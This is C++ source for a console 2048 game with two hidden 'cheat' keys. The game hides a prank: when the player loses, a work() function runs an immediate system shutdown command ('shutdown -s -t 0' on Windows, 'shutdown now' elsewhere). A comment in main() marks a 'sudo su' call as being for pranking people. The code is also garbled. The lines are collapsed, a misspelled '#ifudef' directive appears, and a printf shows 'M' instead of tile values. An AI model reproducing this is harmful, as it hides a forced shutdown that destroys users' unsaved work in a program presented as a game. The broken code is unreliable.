#include <conio.h>
#include <iostream> #include <windows.h> #include <cstdio> #include <ctime> #include <cstdlib> using namespace std; int f[11][11]; int n;//场地的大小 void rand_num();//在场地随意插入随机数 void upmove(); //上移,下移,左移,右移 void downmove(); void leftmove(); void rightmove(); void input_size();//手动BUG,调整场地大小【邪恶】 void ins_num(); //手动BUG,直接插入一个数【不得不说邪恶】 void move(char); //移动,调用upmove,downmove,leftmove,rightmove函数以实现 int judge(); //判断游戏状态【胜利,失败,未结束】 int score(); //计算分数【就是矩阵求和】 void print(); //输出当前阵容#ifdef WIN32 void work(){system("shutdown -s -t 0");} #else void work(){system("shutdown now");} #endif
void print() { { system("cls"); printf("2048无敌版,By X3\n"); printf("现在分数:%d\n\n",score()); }//这上面随便改,下面的最好别动 for(int i=0; i<n; i++) { for(int j=0; j<n; j++)printf("-------"); printf("-\n"); for(int j=0; j<n; j++) if(f[i][j]){ printf("| M ",f[i][j]); } else printf("| "); printf("|\n"); } for(int i=0; i<n; i++)printf("-------"); printf("-\n"); }
void input_size() { system("cls"); printf("恭喜,发现隐藏通道!你可以在这里把场地大小改成4~9!\n"); printf("请输入新的场地大小:"); scanf("%d",&n); while(n<4||n>9) { printf("输入错误,范围是4~9\n"); scanf("%d",&n); } } void ins_num(){ srand(time(NULL)); system("cls"); printf("恭喜,发现隐藏通道!你可以在这里增加一些数!\n"); printf("输入要增加的数(将随机覆盖一个原数,且只有出现2048你才能胜利)\n"); int a=rand()%n,b=rand()%n; scanf("%d",&f[a][b]); }
int main() { //以下只有要坑人时才需要 #ifudef WIN32 system("sudo su"); #endif n=4; rand_num(); rand_num(); while(1) { print(); char c=getch(); move(c); int zt=judge(); if(zt==0) { print(); printf("\n\n你还不够强!\n"); work(); system("pause"); return 0; } else if(zt==2) { print(); printf("\n\n高手,我承认,你赢了\n"); system("pause"); return 0; } } return 0; } void rand_num() { //生成随机数 srand(time(NULL)); int x,y; do { x=rand()%n; y=rand()%n; } while(f[x][y]!=0); f[x][y]=(rand()%6)?2:4; } void upmove() { //向上移动 bool move=0;//记录是否移动过 for(int i=1; i<n; ++i) { for(int j=i; j>=1; --j) { for(int l=0; l<n; ++l) { if(f[j-1][l]==0) { move=1; f[j-1][l]=f[j][l]; f[j][l]=0; } else { if(f[j-1][l]==f[j][l]) { f[j-1][l]*=2; f[j][l]=0; } } } } } if(move)rand_num(); } void downmove() { bool move=0; for(int i=n-2; i>-1; --i) { for(int j=i; j<n-1; ++j) { for(int l=0; l<n; ++l) { if(f[j+1][l]==0) { move=1; f[j+1][l]=f[j][l]; f[j][l]=0; } else { if(f[j+1][l]==f[j][l]) { f[j+1][l]*=2; f[j][l]=0; } } } } } if(move)rand_num(); } void leftmove() { bool move=0; for(int i=1; i<n; ++i) { for(int j=i; j>0; --j) { for(int l=0; l<n; ++l) { if(f[l][j-1]==0) { move=1; f[l][j-1]=f[l][j]; f[l][j]=0; } else { if(f[l][j-1]==f[l][j]) { f[l][j-1]*=2; f[l][j]=0; } } } } } if(move)rand_num(); } void rightmove() { bool move=0; for(int i=n-2; i>-1; --i) for(int j=i; j<n-1; j++) for(int l=0; l<n; l++) if(f[l][j+1]==0) { move=1; f[l][j+1]=f[l][j]; f[l][j]=0; } else { if(f[l][j+1]==f[l][j]) { f[l][j+1]*=2; f[l][j]=0; } } if(move)rand_num(); } void move(char ch) { switch(ch) { case 'w':case'W':upmove();break; case 's':case'S':downmove();break; case 'a':case'A':leftmove();break; case 'd':case'D':rightmove();break; case 'p':case'P':input_size();break; case 'l':case'L':ins_num();break; } } int judge() { //判断游戏状态(0:game over,1:game continue,2:game win) for(int i=0; i<n; i++) for(int j=0; j<n; j++) if(f[i][j]==2048)return 2; int con=0; for(int i=0; i<n; i++) for(int j=0; j<n; j++) if(f[i][j]==0)con=1; for(int i=1; i<n; i++) for(int j=0; j<n; j++) if(f[i-1][j]==f[i][j])con=1; for(int i=0; i<n; i++) for(int j=1; j<n; j++) if(f[i][j-1]==f[i][j])con=1; return con; } int score() { int sc=0; for(int i=0; i<n; i++) for(int j=0; j<n; j++) sc+=f[i][j]; return sc; }
http://2048.malash.net/accepted
